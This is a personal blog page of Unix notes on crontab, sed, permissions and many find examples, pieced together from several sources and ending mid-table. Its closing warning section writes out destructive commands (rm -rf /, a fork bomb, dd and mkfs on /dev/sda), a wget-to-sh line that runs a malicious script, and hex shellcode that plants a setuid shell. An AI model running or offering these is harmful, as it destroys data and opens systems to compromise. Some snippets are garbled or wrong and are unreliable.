Manoj Official Blog: Technology

========================================================================
Chapter 1
========================================================================

=======================================================================
Send a File through email as an attachment

mail -a filename -s "test mail checking of attachment" mjk@domaine.com

-a is use to add attachment file
-s is use to add the subject before sending

2>&1 - standard output goes to terminal and error goes to nullify

> /dev/null 2>&1 at the end of the script, we are asking the script to write whatever that is generated from the script (both the output and error messages) to /dev/null.
To break it up:

2 is the handle for standard error or STDERR
1 is the handle for standard output or STDOUT
2>&1 is asking to direct all the STDERR as STDOUT, (ie. to treat all the error messages generated from the script as its standard output). Now we already have > /dev/null at the end of the script which means all the standard output (STDOUT) will be written to /dev/null. Since STDERR is now going to STDOUT (because of 2>&1) both STDERR and STDOUT ends up in the blackhole /dev/null. In other words, the script is silenced.
By the way, you need to have a > in front of /dev/null 2>&1. It should be:
```
x * * * * /path/to/my/script > /dev/null 2>&1
```

=======================================================================
Crontab Example with Syntax

Creating a crontab file

`1) crontab -e for editing or creating new cornentries`

2) crontab -l to view the crontab entries

3) crontab -r to remove the crontab entries

4) crontab -u Manoj -l  view the entry through user Manoj

5) crontab -u oracle -e install the crontab through User Manoj

Crontab syntax

*     *     *     *     *  command to be executed
-     -     -     -     -
|     |     |     |     |
|     |     |     |     +----- day of week (0 - 6) (Sunday=0)
|     |     |     +------- month (1 - 12)
|     |     +--------- day of month (1 - 31)
|     +----------- hour (0 - 23)
+------------- min (0 - 59)

Crontab examples

* * * * * <command> #Runs every minute
30 * * * * <command> #Runs at 30 minutes past the hour
45 6 * * * <command> #Runs at 6:45 am every day
45 18 * * * <command> #Runs at 6:45 pm every day
00 1 * * 0 <command> #Runs at 1:00 am every Sunday
00 1 * * 7 <command> #Runs at 1:00 am every Sunday
00 1 * * Sun <command> #Runs at 1:00 am every Sunday
30 8 1 * * <command> #Runs at 8:30 am on the first day of every month
00 0-23/2 02 07 * <command> #Runs every other hour on the 2nd of July

Things To Remember about Notations:

-When you specify */5 in minute field means every 5 minutes.
-When you specify 0-10/2 in minute field mean every 2 minutes in the first 10 minute.
-Thus the above convention can be used for all the other 4 fields

*/10 * * * *  ->means every 10 minutes

0 */5 * * *   ->means every 5 hours

The following example runs the backup.sh twice a year. i.e 1st May at midnight, and 1st Oct at midnight
0 0 1 5,10 * /home/manoj/backup.sh
(or)
0 0 1 May,Oct * /home/manoj/backup.sh

In the same way, use

*/10 for every 10 minutes,

*/15 for every 15 minutes,

*/30 for every 30 minutes

Table: Cron special keywords and its meaning

Keyword	Equivalent
@yearly	0 0 1 1 *
@daily	0 0 * * *
@hourly	0 * * * *
@reboot	Run at startup.

Disabling email notifications

By default a cron job will send an email to the user account executing the cronjob. If this is not needed put the following command at the end of the cron job line:

>/dev/null 2>&1

Specifying a crontab file to use

crontab -u <username> <crontab file>

crontab -u tux ~/crontab

Removing a crontab file

Crontab -r

=============================================================

Note 1 : Sed Awsome command

sed -i.bkp.20122014 's/DEBUG/INFO/g' log4j.properties

By single command line took the backup of original file and replace all the occurence of debug to info.

Note 2: Removal Of ctl-M chars through Unix Box

Remove the ctl-M chars
tr -d '\r' < CNAM_LIDB_QC.sh > CNAM_LIDB_QC.sh_clean

some Crontab Examples with Find Command:

##Crons to delete all files older than 90 days.
00 3 * * * find /nas/destination directory *.* -type f -mtime +90 -ls -exec rm {} \; > /u/file.txt 2>&1
10 3 * * * find /nas/ destination directory *.* -type f -mtime +90 -ls -exec rm {} \; > /u/ destination directory / file.txt 2>&1
20 3 * * * find /nas/ destination directory *.* -type f -mtime +90 -ls -exec rm {} \; > /u/upload.txt 2>&1

#crons to zip all files older than 60 days
00 3 * * * find /nas/ destination directory *.* -type f -mtime +60 -ls -exec gzip \; > /u/ file.txt /2>&1

##script FTPs the TN a called id name information added on 08092014
00 23 * * * Path of the destination directory CNAM_LIDB_QC.sh > /destination directory /log/CNAM_LIDB_QC.log 2>&1

=========================================================================

Unix Fundamental

Shell:

•Human interface point for Unix
•Program layer – provides an environment for the user to enter commands to get desired results.
•Korn Shell, Bourne Shell, C Shell are various shells used by Unix users

The inode (index node) is a fundamental concept in the Linux and UNIX filesystem. Each object in the filesystem is represented by an inode. But what are the objects? Let us try to understand it in simple words. Each and every file under Linux (and UNIX) has following attributes:
=> File type (executable, block special etc)
=> Permissions (read, write etc)
=> Owner
=> Group
=> File Size
=> File access, change and modification time (remember UNIX or Linux never stores file creation time, this is favorite question asked in UNIX/Linux sys admin job interview)
=> File deletion time
=> Number of links (soft/hard)
=> Extended attribute such as append only or no one can delete file including root user (immutability)
=> Access Control List (ACLs)
All the above information stored in an inode. In short the inode identifies the file and its attributes (as above) . Each inode is identified by a unique inode number within the file system. Inode is also know as index number.

inode definition

An inode is a data structure on a traditional Unix-style file system such as UFS or ext3. An inode stores basic information about a regular file, directory, or other file system object.

How do I see file inode number?

You can use ls -i command to see inode number of file
$ ls -i /etc/passwd
Sample Output

32820 /etc/passwd

You can also use stat command to find out inode number and its attribute:
$ stat /etc/passwdOutput:

File: `/etc/passwd'
Size: 1988            Blocks: 8          IO Block: 4096   regular file
Device: 341h/833d       Inode: 32820       Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2005-11-10 01:26:01.000000000 +0530
Modify: 2005-10-27 13:26:56.000000000 +0530
Change: 2005-10-27 13:26:56.000000000 +0530

Before Going in Depth, Here i would like to introduce some fundamental things which is necessary to know for Unix Admininstrator.

Directory Structor:

Directory	Description
`/`	The root directory where the file system begins. In most cases the root directory only contains subdirectories.
`/boot`	This is where the Linux kernel and boot loader files are kept. The kernel is a file called `vmlinuz`.
`/etc`	The `/etc` directory contains the configuration files for the system. All of the files in `/etc` should be text files. Points of interest: `/etc/passwd` The `passwd` file contains the essential information for each user. It is here that users are defined. `/etc/fstab` The `fstab` file contains a table of devices that get mounted when your system boots. This file defines your disk drives. `/etc/hosts` This file lists the network host names and IP addresses that are intrinsically known to the system. `/etc/init.d` This directory contains the scripts that start various system services typically at boot time.
`/bin, /usr/bin`	These two directories contain most of the programs for the system. The `/bin` directory has the essential programs that the system requires to operate, while `/usr/bin` contains applications for the system's users.
`/sbin, /usr/sbin`	The `sbin` directories contain programs for system administration, mostly for use by the superuser.
`/usr`	The `/usr` directory contains a variety of things that support user applications. Some highlights: `/usr/share/X11:`Support files for the X Windows system `/usr/share/dict :`Dictionaries for the spelling checker. Bet you didn't know that Linux had a spelling checker. See `look` and `ispell`. `/usr/share/doc :`Various documentation files in a variety of formats. `/usr/share/man:`The man pages are kept here. `/usr/src :` Source code files. If you installed the kernel source code package, you will find the entire Linux kernel source code here.
`/usr/local`	`/usr/local` and its subdirectories are used for the installation of software and other files for use on the local machine. What this really means is that software that is not part of the official distribution (which usually goes in `/usr/bin`) goes here. When you find interesting programs to install on your system, they should be installed in one of the `/usr/local` directories. Most often, the directory of choice is `/usr/local/bin`.
`/var`	The `/var` directory contains files that change as the system is running. This includes: `/var/log :`Directory that contains log files. These are updated as the system runs. You should view the files in this directory from time to time, to monitor the health of your system. `/var/spool :`This directory is used to hold files that are queued for some process, such as mail messages and print jobs. When a user's mail first arrives on the local system (assuming you have local mail), the messages are first stored in `/var/spool/mail`
`/lib`	The shared libraries (similar to DLLs in that other operating system) are kept here.
`/home`	`/home` is where users keep their personal work. In general, this is the only place users are allowed to write files. This keeps things nice and clean :-)
`/root`	This is the superuser's home directory.
`/tmp`	`/tmp` is a directory in which programs can write their temporary files.
`/dev`	The `/dev` directory is a special directory, since it does not really contain files in the usual sense. Rather, it contains devices that are available to the system. In Linux (like Unix), devices are treated like files. You can read and write devices as though they were files. For example `/dev/fd0` is the first floppy disk drive, `/dev/sda` (`/dev/hda` on older systems) is the first IDE hard drive. All the devices that the kernel understands are represented here.
`/proc`	The `/proc` directory is also special. This directory does not contain files. In fact, this directory does not really exist at all. It is entirely virtual. The `/proc` directory contains little peep holes into the kernel itself. There are a group of numbered entries in this directory that correspond to all the processes running on the system. In addition, there are a number of named entries that permit access to the current configuration of the system. Many of these entries can be viewed. Try viewing `/proc/cpuinfo`. This entry will tell you what the kernel thinks of your CPU.
`/media,/mnt`	Finally, we come to `/media`, a normal directory which is used in a special way. The `/media` directory is used for mount points.The different physical storage devices (like hard disk drives) are attached to the file system tree in various places. This process of attaching a device to the tree is called *mounting*. For a device to be available, it must first be mounted. When your system boots, it reads a list of mounting instructions in the file `/etc/fstab`, which describes which device is mounted at which mount point in the directory tree. This takes care of the hard drives, but you may also have devices that are considered temporary, such as CD-ROMs and floppy disks. Since these are removable, they do not stay mounted all the time. The `/media` directory is used by the automatic device mounting mechanisms found in modern desktop oriented Linux distributions. On systems that require manual mounting of removable devices, the `/mnt` directory provides a convenient place for mounting these temporary devices. You will often see the directories `/mnt/floppy` and `/mnt/cdrom`. To see what devices and mount points are used, type `mount`.

Some Useful Things:

cp -R dir1 dir2

Copy the contents of the directory dir1. If directory dir2 does not exist, it is created. Otherwise, it creates a directory named dir1 within directory dir2.

cp file1 dir1

Copy the contents of file1 (into a file named file1) inside of directory dir1.

mv file1 file2 file3 dir1

The files file1, file2, file3 are moved to directory dir1. dir1 must exist or mv will exit with an error.

mv dir1 dir2

If dir2 does not exist, then dir1 is renamed dir2. If dir2 exists, the directory dir1 is created within directory dir2.

rm -r dir1 dir2

Directories dir1 and dir2 are deleted along with all of their contents.

du`| sort -nr`

Displays a list of directories and how much space they consume, sorted from the largest to the smallest.

Useful Notation about file Permissions:

Chmod

Value

Meaning

777

(rwxrwxrwx) No restrictions on permissions. Anybody may do anything. Generally not a desirable setting.

755

(rwxr-xr-x) The file's owner may read, write, and execute the file. All others may read and execute the file. This setting is common for programs that are used by all users.

700

(rwx------) The file's owner may read, write, and execute the file. Nobody else has any rights. This setting is useful for programs that only the owner may use and must be kept private from others.

666

(rw-rw-rw-) All users may read and write the file.

644

(rw-r--r--) The owner may read and write a file, while all others may only read the file. A common setting for data files that everybody may read, but only the owner may change.

     600

(rw-------) The owner may read and write a file. All others have no rights. A common setting for data files that the owner wants to keep private.

Value

Meaning

777

(rwxrwxrwx) No restrictions on permissions. Anybody may list files, create new files in the directory and delete files in the directory. Generally not a good setting.

755

(rwxr-xr-x) The directory owner has full access. All others may list the directory, but cannot create files nor delete them. This setting is common for directories that you wish to share with other users.

700

(rwx------) The directory owner has full access. Nobody else has any rights. This setting is useful for directories that only the owner may use and must be kept private from others.

The chmod command can also be used to control the access permissions for directories. In most ways, the permissions scheme for directories works the same way as they do with files. However, the execution permission is used in a different way. It provides control for access to file listing and other things. Here are some useful settings for directories:

What is Sticky Bit?

A sticky bit is a permission bit that is set on a directory that allows only the owner of the file within that directory or the root user to delete or rename the file. No other user has the needed privileges to delete the file created by some other user.

Fine Example

Why does /tmp have the t sticky bit?

The /tmp directory can be used by different Linux users to create temporary files.
Now, what if an user deletes/rename a file created by some other user in this directory?
Well, to avoid these kind of issues, the concept of sticky bit is used.
So for that a 777 is given but preserving the sticky bit is not a bad idea.

Sticky Bit can be set in two ways

1.Symbolic way (t,represents sticky bit)
2.Numerical/octal way (1, Sticky Bit bit as value 1)

Use chmod command to set Sticky Bit on Folder: /opt/dump/
Symbolic way:
    chmod o+t /opt/dump/
or
   chmod +t /opt/dump/
Let me explain above command, We are setting Sticky Bit(+t) to folder /opt/dump by using chmod command.
Numerical way:
    chmod 1757 /opt/dump/
Here in 1757, 1 indicates Sticky Bit set, 7 for full permissions for owner, 5 for read and execute permissions for group, and full permissions for others.
Checking if a folder is set with Sticky Bit or not?
Use ls –l to check if the x in others permissions field is replaced by t or T
For example: /opt/dump/ listing before and after Sticky Bit set

Before Sticky Bit set:
ls -l
total 8
-rwxr-xrwx 1 xyz xyzgroup 148 Dec 22 03:46 /opt/dump/
After Sticky Bit set:
ls -l
total 8
-rwxr-xrwt 1 xyz xyzgroup 148 Dec 22 03:46 /opt/dump/

Sticky bit without Executable permissions:

drwx-----T 2 mjk mdefault 1024 Feb 27 05:24 Scripts

so if you want executable permissions, Apply executable permissions to the file.

chmod o+x /opt/dump/
ls -l command output:
-rwxr-xrwt 1 xyz xyzgroup 0 Dec 5 11:24 /opt/dump/
Sticky bit with Executable permissions:

How can I find all the Sticky Bit set files in Linux/Unix.
find / -perm +1000

Can I set Sticky Bit for files?
Yes, but most of the time it’s not required.
How can I remove Sticky Bit bit on a file/folder?
chmod o-t /opt/dump/

UMASK ...

What is umask?
umask is a number which defines the default permissions which are not to be given on a file.
A umask of 022 means not to give the write permission to the group(022) and others(022) by default.

How to set this umask permanently for a user?
To set this value permanently for a user, it has to be put in the appropriate profile file which depends on the default shell of the user.

umask 022 - Assigns permissions so that only you have read/write access for files, and read/write/search for directories you own. All others have read access only to your files, and read/search access to your directories.
umask 002 - Assigns permissions so that only you and members of your group have read/write access to files, and read/write/search access to directories you own. All others have read access only to your files, and read/search to your directories

How to set the umask value?
umask 033

Find Command

Practical Examples of Linux Find Command

Find command used to search and locate list of files and directories based on conditions you specify for files that match the arguments. Find can be used in variety of conditions like you can find files by permissions, users, groups, file type, date, size and other possible criteria.

1. Find Files Using Name in Current Directory

# find . -name tecmint.txt

./tecmint.txt

2. Find Files Under Home Directory

# find /home -name tecmint.txt

/home/tecmint.txt

3. Find Files Using Name and Ignoring Case

Find all the files whose name is tecmint.txt and contains both capital and small letters in /home directory.

# find /home -iname tecmint.txt

./tecmint.txt

./Tecmint.txt

4. Find Directories Using Name

Find all directories whose name is Tecmint in / directory.

# find / -type d -name Tecmint

/Tecmint

5. Find PHP Files Using Name

Find all php files whose name is tecmint.php in a current working directory.

# find . -type f -name tecmint.php

./tecmint.php

6. Find all PHP Files in Directory

Find all php files in a directory.

# find . -type f -name "*.php"

./tecmint.php

./login.php

./index.php

Part II – Find Files Based on their Permissions

7. Find Files With 777 Permissions

Find all the files whose permissions are 777.

# find . -type f -perm 0777 -print

8. Find Files Without 777 Permissions

Find all the files without permission 777.

# find / -type f ! -perm 777

9. Find SGID Files with 644 Permissions

Find all the SGID bit files whose permissions set to 644.

# find / -perm 2644

10. Find Sticky Bit Files with 551 Permissions

Find all the Sticky Bit set files whose permission are 551.

# find / -perm 1551

11. Find SUID Files

Find all SUID set files.

# find / -perm /u=s

12. Find SGID Files

Find all SGID set files.

# find / -perm /g+s

13. Find Read Only Files

Find all Read Only files.

# find / -perm /u=r

14. Find Executable Files

Find all Executable files.

# find / -perm /a=x

15. Find Files with 777 Permissions and Chmod to 644

Find all 777 permission files and use chmod command to set permissions to 644.

# find / -type f -perm 0777 -print -exec chmod 644 {} \;

16. Find Directories with 777 Permissions and Chmod to 755

Find all 777 permission directories and use chmod command to set permissions to 755.

# find / -type d -perm 777 -print -exec chmod 755 {} \;

17. Find and remove single File

To find a single file called tecmint.txt and remove it.

# find . -type f -name "tecmint.txt" -exec rm -f {} \;

18. Find and remove Multiple File

To find and remove multiple files such as .mp3 or .txt, then use.

# find . -type f -name "*.txt" -exec rm -f {} \;

OR

# find . -type f -name "*.mp3" -exec rm -f {} \;

19. Find all Empty Files

To file all empty files under certain path.

# find /tmp -type f -empty

20. Find all Empty Directories

To file all empty directories under certain path.

# find /tmp -type d -empty

21. File all Hidden Files

To find all hidden files, use below command.

# find /tmp -type f -name ".*"

Part III – Search Files Based On Owners and Groups

22. Find Single File Based on User

To find all or single file called tecmint.txt under / root directory of owner root.

# find / -user root -name tecmint.txt

23. Find all Files Based on User

To find all files that belongs to user Tecmint under /home directory.

# find /home -user tecmint

24. Find all Files Based on Group

To find all files that belongs to group Developer under /home directory.

# find /home -group developer

25. Find Particular Files of User

To find all .txt files of user Tecmint under /home directory.

# find /home -user tecmint -iname "*.txt"

Part IV – Find Files and Directories Based on Date and Time

26. Find Last 50 Days Modified Files

To find all the files which are modified 50 days back.

# find / -mtime 50

27. Find Last 50 Days Accessed Files

To find all the files which are accessed 50 days back.

# find / -atime 50

28. Find Last 50-100 Days Modified Files

To find all the files which are modified more than 50 days back and less than 100 days.

# find / -mtime +50 –mtime -100

29. Find Changed Files in Last 1 Hour

To find all the files which are changed in last 1 hour.

# find / -cmin -60

30. Find Modified Files in Last 1 Hour

To find all the files which are modified in last 1 hour.

# find / -mmin -60

31. Find Accessed Files in Last 1 Hour

To find all the files which are accessed in last 1 hour.

# find / -amin -60

Part V – Find Files and Directories Based on Size

32. Find 50MB Files

To find all 50MB files, use.

# find / -size 50M

33. Find Size between 50MB – 100MB

To find all the files which are greater than 50MB and less than 100MB.

# find / -size +50M -size -100M

34. Find and Delete 100MB Files

To find all 100MB files and delete them using one single command.

# find / -size +100M -exec rm -rf {} \;

35. Find Specific Files and Delete

Find all .mp3 files with more than 10MB and delete them using one single command.

# find / -type f -name *.mp3 -size +10M -exec rm {} \;

That’s it, We are ending this post here, In our next article we will discuss more about other Linux commands in depth with practical examples. Let us know your opinions on this article using our comment section.

Some Intresting Facts about Find Command (Advance)

Note: find -mtime is used to search files based upon modification time. This is infact my favorite find command tips while looking out some production issues just to check which files have been modified recently, could be likely cause of issue, believe me it helps a lot and many a times gives you enough hint of any problem due to intended or unintended file change. Along with –mtime, there are two more options related to time, find -atime which denote last accessed time of file and find –ctime denotes last changed time. + sign is used to search for greater than, - sign is used to search for less than and without sign is used for exact. For example find –mtime -1 will search all files which has been modified

javin@testenv1 ~/java : find . -mtime 1 (find all the files modified exact 1 day)

javin@testenv1 ~/java : find . -mtime -1 (find all the files modified less than 1 day)
.
./StockTrading.java

javin@testenv1 ~/java : find . -mtime +1 (find all the files modified more than 1 day)
./.vimrc
./OnlineStockTrading.java
./StockTrading.java~

In this example since we have only modified StockTrading.java some time back it has shown on find –mtime -1, rest of files are not touched today so they are appearing as modified more than 1 day while there is no file which has been modified exactly one day.

find . –iname "error" –print ( -i is for ignore )

find . -name "*.tmp" -print | xargs rm –f

find . –name "*.txt" –print | xargs grep "Exception”

How to find the smallest file in the current directory and sub directories

find . -type f -exec ls -s {} \; | sort -n -r | tail -1

Another method using find is

find . -type f -exec ls -s {} \; | sort -n | head -1

How to find the files which are modified after the modification of a give file.

find -newer "sum.java"

Display the files which are accessed after the modification of a give file.

find -anewer "sum.java"

Display the files which are changed after the modification of a give file.

find -cnewer "sum.java"

http://javarevisited.blogspot.com/2011/05/unix-command-interview-questions.html

How to find files some days older and above certain size

find . -mtime +10 -size +50000c -exec ls -l {} \;

You can use "awk" in combination of find to print a formatted output e.g. next command will find all of the symbolic links in your home directory, and print the files your symbolic links points to:

find . -type l -print | xargs ls -ld | awk '{print $10}'

"-type l" says list all links.

Tip:
$* : $* is one of the special bash parameter which is used to expands positional parameters from position one.
if you give double quotes and expansion is done within double quotes, it only expands to a single word and corresponding value of each parameter will be separated by the first letter of the IFS environment variable defined in bash. Do let me know how do you find these find examples .

Special Parameters $* and $@:

There are special parameters that allow accessing all of the command-line arguments at once. $* and $@ both will act the same unless they are enclosed in double quotes, "".
Both the parameter specifies all command-line arguments but the "$*" special parameter takes the entire list as one argument with spaces between and the "$@" special parameter takes the entire list and separates it into separate arguments.
We can write the shell script shown below to process an unknown number of command-line arguments with either the $* or $@ special parameters:

How to use find command on file names with space in Unix:

I have received lot of comments from my readers on not mentioning about find -print0 and xargs -0 on find examples, so I thought to include this as well. When we don't specify any expression after find command the default option is -print which prints the name of each found files followed by \n or newline.since we mostly pipe output of find command to xargs -print could cause problem if file name itself contain new line or any form of white space. To resolve this issue instead of -print use -print0. Difference between find -print and find -print0 is, print0 display file name on the stdout followed by a "NUL" character and then you can use xargs -0 command to process file names with null character. let's see UNIX find command example with file name having space in them:

javin@testenv1:~/test find . -name "*equity*" -print
./cash equity trading ./equity~

You see here "cash equity trading" has space in there name

javin@testenv1:~/test find . -name "*equity*" -print | xargs ls -l
ls: cannot access ./cash: No such file or directory
ls: cannot access equity: No such file or directory
ls: cannot access trading: No such file or directory
-r--r--r-- 1 stock_trading cash_domain trading 0 Jul 15 11:42 ./equity~

Now if we pass this to xargs, xargs treat them as three separate files.

javin@testenv1:~/test find . -name "*equity*" -print0 | xargs ls

xargs: WARNING: a NUL character occurred in the input. It cannot be passed through in the argument list. Did you mean to use the --null option?

ls: cannot access ./cash: No such file or directory
ls: cannot access equity: No such file or directory
ls: cannot access trading: No such file or directory

Now to solve this we have used find command with -print0 which appends NUL character on file name but without xargs -0, xargs will not able to handle those inputs.

javin@testenv1:~/test find . -name "*equity*" -print0 | xargs -0 ls -l
-rw-r--r-- 1 stock_trading cash_domain trading 0 Jul 21 09:54 ./cash equity trading
-r--r--r-- 1 stock_trading cash_domain trading 0 Jul 15 11:42 ./equity~

Now you can see with find -print0| xargs -0 it looks good

In conclusion always use find -print0 along with xargs -0 if you see slightest possibilities of file names containing space in UNIX or Linux.

Important point about find command in Unix and Linux:

Here are some of the important and interesting things to know about powerful find command, most of these points are contributed by various people in comments and big thanks to all of them for sharing there knowledge, you should definitely check out comments to know more about find command :

1. find –print and find is same as –print is a default option of find command.

2. find –print0 should be used to avoid any issue with white space in file name or path while forwarding output to xargs, also use xargs -0 along with find –print0.

3. find has an option called –delete which can be used in place of -exec rm {} \;

Things To Remember about find command Source(https://wpollock.com/Unix/FindCmd.htm)

For example:

find . -mtime 0   # find files modified between now and 1 day ago
                  # (i.e., within the past 24 hours)
find . -mtime -1 # find files modified less than 1 day ago
                  # (i.e., within the past 24 hours, as before)
find . -mtime 1   # find files modified between 24 and 48 hours ago
find . -mtime +1 # find files modified more than 48 hours ago

find . -mmin +5 -mmin -10 # find files modified between
                          # 6 and 9 minutes ago

find . -maxdepth 1 -name '[!.]*' -printf 'Name: %16f Size: %6s\n'

“‑maxdepth” is a Gnu extension. On a modern, POSIX version of find you could use this:

find . -path './*' -prune ...

On any version of find you can use this more complex (but portable) code:

find . ! -name . -prune ...

which says to “prune” (don't descend into) any directories except “.”.

Note that “‑maxdepth 1” will include “.” unless you also specify “‑mindepth 1”. A portable way to include “.” is:

find . $ -name . -o -prune $ ...

The “$” and “$” are just parenthesis used for grouping, and escaped from the shell. The “‑o” means Boolean OR.

Use of -exec
find whatever... -exec sh -c 'sed "s/Mr\./Mr. or Ms./g" "{}" \
     | tr "[:lower:]" "[:upper:]" >"{}.new"' \;

**** Some More***

Options

First thing we need to do is understand how find works. Here are some of the key options:

    -o : the OR operation to string multiple search criteria together
    -name : find files by name
    -iname : find files by name, ignoring case
    -type f : find only files
    -type d : find only directories
    -size : find by size
    -mtime : find by modified time
    -mtime : find by modified time

The checks you can use here are:

    -atime: when the file was last accessed
    -ctime: when the file’s permissions were last changed
    -mtime: when the file’s data was last modified

These searches are done in 24 hour increments and followed by a number n. If you want to match the exact 24 hour period you use n by itself. More frequently, however, you’ll want to say everything since yesterday, or everything “more than 3 days ago.” This is accomplished using the -n and +n options respectively.

There are also minute versions of the atime, ctime, and mtime arguments:

    -amin: when (in minutes) the file was last accessed
    -cmin: when (in minutes) the file’s permissions were last changed
    -mmin: when (in minutes) the file’s data was last modified
Xargs vs. Exec

What’s the fun in finding a bunch of stuff if you’re not going to do something with it? While it’s interesting to say, “find me stuff”, it’s far more useful to say, “Take every text file owned by ex-employee Jason that’s hasn’t been accessed in 60 days and move it to a remote backup folder.“

Many use find in conjunction with exec, which then runs on the results. This is usually acceptable, but I prefer to use xargs because it executes more elegantly.

xargs, unlike exec, executes all arguments as a single command instead of running multiple commands. So if I run>:

Some Advance Examples for Find Command

find files with different extensions
-----------------------------------------------------------
find . -type f $ -name "*.c" -o -name "*.sh" $ # *.c and *.sh files
find . -type f $ -name "*cache" -o -name "*xml" -o -name "*html" $ # three patterns

find files that don't match a pattern (-not)
--------------------------------------------
find . -type f -not -name "*.html"                                # find all files not ending in ".html"

find files by text in the file (find + grep)
--------------------------------------------
find . -type f -name "*.java" -exec grep -l StringBuffer {} \;    # find StringBuffer in all *.java files
find . -type f -name "*.java" -exec grep -il string {} \;         # ignore case with -i option
find . -type f -name "*.gz" -exec zgrep 'GET /foo' {} \;          # search for a string in gzip'd files

5 lines before, 10 lines after grep matches
-------------------------------------------
find . -type f -name "*.scala" -exec grep -B5 -A10 'null' {} \;
     (see http://alvinalexander.com/linux-unix/find-grep-print-lines-before-after-...)

find files and act on them (find + exec)
----------------------------------------
find /usr/local -name "*.html" -type f -exec chmod 644 {} \;      # change html files to mode 644
find htdocs cgi-bin -name "*.cgi" -type f -exec chmod 755 {} \;   # change cgi files to mode 755
find . -name "*.pl" -exec ls -ld {} \;                            # run ls command on files found

find and copy
-------------
find . -type f -name "*.mp3" -exec cp {} /tmp/MusicFiles \;       # cp *.mp3 files to /tmp/MusicFiles

copy one file to many dirs
--------------------------
find dir1 dir2 dir3 dir4 -type d -exec cp header.shtml {} \;      # copy the file header.shtml to those dirs

find and delete
---------------
find . -type f -name "Foo*" -exec rm {} \;                        # remove all "Foo*" files under current dir
find . -type d -name CVS -exec rm -r {} \;                        # remove all subdirectories named "CVS" under current dir

find files by modification time
-------------------------------
find . -mtime 1               # 24 hours
find . -mtime -7              # last 7 days
find . -mtime -7 -type f      # just files
find . -mtime -7 -type d      # just dirs

Things to Remember about rm command

1. rm -rf Command

The rm -rf command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with rm command are.

rm command in Linux is used to delete files.
rm -r command deletes the folder recursively, even the empty folder.
rm -f command removes ‘Read only File’ without asking.
rm -rf / : Force deletion of everything in root directory.
rm -rf * : Force deletion of everything in current directory/working directory.
rm -rf . : Force deletion of current folder and sub folders.

Hence, be careful when you are executing rm -rf command. To overcome accidental delete of file by ‘rm‘ command, create an alias of ‘rm‘ command as ‘rm -i‘ in “.bashrc” file, it will ask you to confirm every deletion.

2. :(){:|:&};: Command

The above is actually a fork bomb. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes.

:(){:|:&};:

Defination :

:(){ :|:& };:
\_/| |||| ||\- ... the function ':', initiating a chain-reaction: each ':' will start    two more.
 | | |||| |\- Definition ends now, to be able to run ...
 | | |||| \- End of function-block
 | | |||\- disown the functions (make them a background process), so that the children    of a parent
 | | |||   will not be killed when the parent gets auto-killed
 | | ||\- ... another copy of the ':'-function, which has to be loaded into memory.
 | | ||   So, ':|:' simply loads two copies of the function, whenever ':' is called
 | | |\- ... and pipe its output to ...
 | | \- Load a copy of the function ':' into memory ...
 | \- Begin of function-definition
 \- Define the function ':' without any parameters '()' as follows:

3. command > /dev/sda

The above command writes the output of ‘command‘ on the block /dev/sda. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block.

4. mv folder /dev/null

The above command will move ‘folder‘ to /dev/null. In Linux /dev/null or null device is a special file that discards all the data written to it and reports that write operation succeed.

# mv /home/user/* /dev/null

The above command will move all the contents of a User directory to /dev/null, which literally means everything there was sent to blackhole (null).

5. wget http://malicious_source -O- | sh

The above command will download a script from a malicious source and then execute it. Wget command will download the script and sh will execute the downloaded script.
Note: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source.

6. mkfs.ext3 /dev/sda

The above command will format the block ‘sda’ and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.

7. > file

The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> xt.conf” will write the configuration file or any other system or configuration file.

8. ^foo^bar

This command, as described in our 10 Lesser Known Linux Commands, is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using ^foo^bar command.

9. dd if=/dev/random of=/dev/sda

The above command will wipe out the block sda and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage.

10. Hidden the Command

The below command is nothing but the first command above (rm -rf). Here the codes are hidden in hex so that an ignorant user may be fooled. Running the below code in your terminal will wipe your root partition.
This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Note: Don’t execute any of the above command in your Linux terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which,

Part VI – Sed Tutorial

Like any other programming language, sed also provides special branching commands to control the flow of the program.

In this article, let us review following two types of Sed branching.

1 Sed Unconditional Branch
2 Sed Conditional Branch

The sed General Syntax

/pattern/action

Range	Description
p	Prints the line
d	Deletes the line
s/pattern1/pattern2/	Substitutes the first occurrence of pattern1 with pattern2.

Try out the following address ranges −

Range	Description
'4,10d'	Lines starting from 4th till 10th are deleted
'10,4d'	Only 10th line is deleted, because sed does not work in reverse direction.
'4,+5d'	This will match line 4 in the file, delete that line, continue to delete the next five lines, and then cease its deletion and print the rest
'2,5!d'	This will deleted everything except starting from 2nd till 5th line.
'1~3d'	This deletes the first line, steps over the next three lines, and then deletes the fourth line. Sed continues applying this pattern until the end of the file.
'2~2d'	This tells sed to delete the second line, step over the next line, delete the next line, and repeat until the end of the file is reached.
'4,10p'	Lines starting from 4th till 10th are printed
'4,d'	This would generate syntax error.
',10d'	This would also generate syntax error.

Note: While using p action, you should use -n option to avoid repetition of line printing.

Substitution Flags

Flag	Description
